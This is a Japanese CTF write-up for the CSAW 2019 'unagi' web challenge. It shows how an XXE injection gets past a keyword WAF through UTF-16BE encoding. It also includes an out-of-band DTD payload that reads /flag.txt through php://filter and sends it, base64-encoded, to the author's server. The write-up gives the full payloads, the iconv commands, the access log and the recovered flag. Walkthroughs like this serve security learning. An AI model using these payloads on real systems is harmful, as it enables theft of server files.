CSAW CTF 2019 Writeup [unagi - Web 200]

おそらくXXE。
こちらの記事を参考にflag.txtを読み込んで表示するxmlを作ってアップロードする。

www.mbsd.jp

文字列として"ENTITY", "SYSTEM", "file"が入っていた場合はWAFにブロックされる。 WAFをバイパスする必要がある。

f:id:kent056-n:20190916122407p:plain

WAFのバイパスに関しては以下の記事が役に立った。 lab.wallarm.com

今回は以下のように文字コードを変えることでWAFをバイパスできた。

$ echo -n '<?xml version="1.0" encoding="UTF-16BE"' > attack-utf16be.xml

$ printf "%s" '?><!DOCTYPE name [<!ENTITY h SYSTEM "file:///flag.txt">]><users><user><username>&h;</username><password>passwd1</password><name>&h;</name><email>&h;</email><group>&h;</group></user><user><username>bob</username><password>passwd2</password><name> Bob</name><email>bob@fakesite.com</email><group>CSAW2019</group></user></users>' | iconv -f utf-8 -t utf-16be >> attack-utf16be.xml

しかし、flag.txtを表示してもAAAAAAAAAAAしか表示されない。どうやら表示に文字数制限があり、flag.txtの先頭がAで埋め尽くされているようだ。 f:id:kent056-n:20190916122448p:plain

色々と試していると、php://は利用できることがわかった。しかし、これだけでflagを表示させることはできなさそう。

f:id:kent056-n:20190916122514p:plain

とりあえず、BASE64エンコードして外部に中身を送れないか試してみたが、requestbinでいくら待っても通信が来なかった。
ここで競技中に詰んでしまって終了。つらい。

競技終了後、以下のwriteupを見てみた。どうやら方針は合っていたようだ。 www.wispwisp.com

自分の場合に通信が発生しなかった理由は、dtdファイルを存在するかどうかともかく指定していなかったのが原因のようだ。
(とりあえず通信が発生することが確認できれば良いと思っていたので、requestbinのURLをそのまま指定しているだけだった)

あとはやるだけ。 まず、以下のようなファイルを用意する。

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://[IP ADDRESS]/csaw.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>

こんな感じに丸々エンコードしても大丈夫っぽい。この方が編集が楽なので早速使っていく。

$ cat payload.xml | iconv -f UTF-8 -t UTF-16BE > payload1.xml

あとはサーバーに以下のDTDファイルを置いて通信が来るのを待つ。

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://[IP ADDRESS]/dtd.xml?%data;'>">

アクセスが来るのでアクセスログを確認する。

# cat /var/log/httpd/access_log

216.165.2.60 - - [16/Sep/2019:09:56:41 +0900] "GET /dtd.xml?QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE= HTTP/1.0" 404 205 "-" "-"

BASE64デコードしてフラグを確認して終了。

# echo "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQpmbGFne24wd19pJ21fc0BkX2N1el95MHVfZzN0X3RoM19mbDRnX2J1dF9jMG5ncjR0c30KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE" | base64 -d
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
flag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbase64: invalid input

フラグはflag{n0w_i'm_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}です。
今回はあと一歩のところまでいっていたのにフラグを回収できずに辛かった。